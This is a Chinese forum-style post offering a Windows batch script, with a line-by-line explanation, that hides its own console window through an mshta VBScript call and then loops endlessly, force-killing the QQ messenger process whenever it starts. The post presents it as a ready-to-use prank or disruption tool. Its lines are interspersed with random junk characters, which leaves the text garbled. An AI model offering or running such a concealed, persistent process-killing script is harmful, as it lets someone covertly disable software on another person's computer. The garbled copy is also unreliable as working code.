|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 ! L" e# n6 z" y, r8 w
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 . l5 r& a3 e' j. D7 B7 `
. Z$ } l( R7 Q@echo off / m2 P/ N8 Z& L; O o
if "%1" == "h" goto begin # x7 Q, S4 U1 }( k, E1 a
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
, @ d* c6 f( D8 _:begin
, G( B" i- `1 qtasklist |find /i "QQ.exe"
# P+ l$ A8 _; {* E+ G( }if %errorlevel%==0 (goto killit) else (goto next) 3 C$ h1 l" u) j* E" M
:killit
& l9 P7 ]9 X% f3 D5 n4 ztaskkill /f /im QQ.exe
8 \4 m% o2 `+ j6 z:next 8 q* x- S# |$ Q; u! q9 _+ b
ping -n 3 127.t >nul 2>nul + D/ m- |) g; ?
goto begin 8 x5 n/ T* S; i8 h7 p8 L: ]' A( E% I
- F9 J& P( g' |2 H- K& ?! Q- ?6 D
代码到此为止
2 n5 d( q& G5 ?- m% ]讲解如下:
% L% q& K. o9 I; }8 n& Q" U/ ?@echo off ------关闭回显
7 Q L2 {0 R! x* f9 _7 F" u& a1 Eif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 ; E( ^$ y7 C; ]/ {. J6 ]( @% A
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 ' F6 N0 ]$ G" r3 f3 o
:begin ------------定一段名begin # F6 y, c. o" {: b5 C/ P0 V
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
, ~* p- _6 A4 V9 n) l6 Eif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next $ B; X# w' a5 a) S* p% o
:killit
( k! A; A: y: R# P3 i; D1 Ktaskkill /f /im QQ.exe----终结进程QQ.exe
6 E/ ?: C5 V! X% g:next
- X) _9 F* @; t: a5 b2 V1 @$ cping -n 3 127.t >nul 2>nul -----延迟一段时间
% t; }) h! z. J, P3 ?, dgoto begin--------------返回执行begin! ]5 G a3 M; c% T6 \
|
|